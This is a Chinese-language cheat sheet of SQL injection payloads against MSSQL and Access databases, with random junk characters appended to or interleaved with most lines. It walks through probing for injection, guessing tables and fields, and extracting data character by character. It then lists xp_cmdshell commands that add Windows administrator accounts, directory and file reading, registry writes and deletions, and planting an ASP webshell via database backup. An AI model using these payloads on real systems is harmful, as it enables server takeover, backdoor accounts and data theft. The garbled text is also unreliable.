1.判断是否有注入;and 1=1 ;and 1=2 xNm32~
2.初步判断是否是mssql ;and user>0 hcgc
=$^
-k
<9v.:
3.注入参数是字符'and [查询条件] and ''=' E)JyKm.
^B5cNEO
4.搜索时没过滤参数的'and [查询条件] and '%25'=' S@g/Tn
(`]*Y(/2G
5.判断数据库系统 i5KwYoN
V0Z7o\-J
;and (select count(*) from sysobjects)>0 mssql Hm
VTfH'
daIL> c"
;and (select count(*) from msysobjects)>0 access b'1d<sD
,imvA5
n+qVT4o
&fSc{/
6.猜数据库 ;and (select Count(*) from [数据库名])>0 E)O|16f|>
K)`:v|d
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 1 j12Qn@]
bez'[Y{
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 R5eB,FN
-t6R!ZI
9.(1)猜字段的ascii值(access) p,iCM?[|
q83~j`ZJ$
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 GD[ou.C}k
UY-IHz;&O-
(2)猜字段的ascii值(mssql) B`B%:#
%i-lx`U
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 "q^#39i?
S[~O')
10.测试权限结构(mssql) cN WcNMm
=/g$bZ
[Hj'nA^
qX+gG",8
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- cvUut^CdK
A3$aMCwKd
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 8F^,8kIR
RF5q5<0
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- \`/E
!ub
+F o$o
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- em1cc,
!wd'::C
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- T1QsW<*j
E ;!<Z4
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- *?bk?*?s
=kb6xmB^t
;and 1=(select IS_MEMBER('db_owner'));-- #t@x6Vt
e[QxFg0E
)4~sQ^}
:@ E1Pun?
11.添加mssql和系统的帐户 |jk-@ Z*
&QTeGn
;exec master.dbo.sp_addlogin username;-- 'q92E(
;exec master.dbo.sp_password null,username,password;-- {@V3?pG?p
WY"Y)S
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- FKox0Jmh=
@?Gw|bP
;exec master.dbo.xp_cmdshell 'net user username password l+2cj?X
30?LsYXL62
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- hDljY!P>p
9$+^"ilk
;exec master.dbo.xp_cmdshell 'net user username password /add';-- aZj J]~bO
rg5]`-!=
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- R3j#WgltP
m-ph}
0\'Q&oTo
3e%l8@R@
12.(1)遍历目录 eA?uny
f2r
X
45x~8f
;create table dirs(paths varchar(100), id int) wb6 L?t
ahNX/3;y
;insert dirs exec master.dbo.xp_dirtree 'c:\' Kx- s0cw
f6B-~x<l
;and (select top 1 paths from dirs)>0 \\S/NA
dK}WM46$
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) #0bO)m+NZ
7}ws
|4Y
kS+r"e
.TM
({%oi h
(2)遍历目录 )'[x)q
"{A*(.
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;8*XOC;[
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 h
`\$sT!Z
nn @^K6
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 7m:|u*ij2~
UzgA26;
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 v/R[?H)
b0@>xT
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 b4Z`y8=
R"U/RS
F qeV3N
Zc'|!pT _
13.mssql中的存储过程 /m`}f]u
s\'y-UITi1
xp_regenumvalues 注册表根键, 子键 p)B33ZzC
<<=e9Lh
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 8 ]q
CmEpir{}(
xp_regread 根键,子键,键值名 O^9CV*]!n
zL:&Q<
;exec xp_regread ZV'$k\
lWx
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 T'ED$}N>~
0xJ7M.
xp_regwrite 根键,子键, 值名, 值类型, 值 /?KtXV>]
;V_.[aX
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 B_{HkQ.PW
}p~OCW!
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 6'xomRpYN
B7!<{i
xp_regdeletevalue 根键,子键,值名 _u&>&,:q
/g_9m
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 %#~((m1
AV40:y\RW
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Q6"uK
gNShOu
S4cpQq.
M|\^UF2e
14.mssql的backup创建webshell o#qH2)tb
CRH{E}>
use model #6Jc}g<?g
t,
U)
~wi
create table cmd(str image); *GQDfs`m
pzp,t(%j
insert into cmd(str) values (''); &+ KyPY+
t3PtKgP-6
backup database model to disk='c:\l.asp'; 7vn%kW=$
~C&*.ZR
9O;cJ)tXY
qG<7hr@x]
15.mssql内置函数 t\h$&[[l'z
NJtQx2Sd'H
;and (select @@version)>0 获得Windows的版本号 wV(AT$
_7U]&Nh99
;and user_name()='dbo' 判断当前系统的连接用户是不是sa X1+wX`f
J/2j;,8D
;and (select user_name())>0 爆当前系统的连接用户 :Sr?6FPc
~+yZfOcw
;and (select db_name())>0 得到当前连接的数据库 x^G'rF"nT
UuU/c-.
*?/tO,
R?
BZK2$0
16.简洁的webshell C5xag#Z1
zuSq+pxL@
use model R}8XRe
Wf#VA;d
create table cmd(str image); _;56^1'T
$ a?
insert into cmd(str) values (''); e}'gvm
ohUdGO[/
backup database model to disk='g:\wwwtest\l.asp';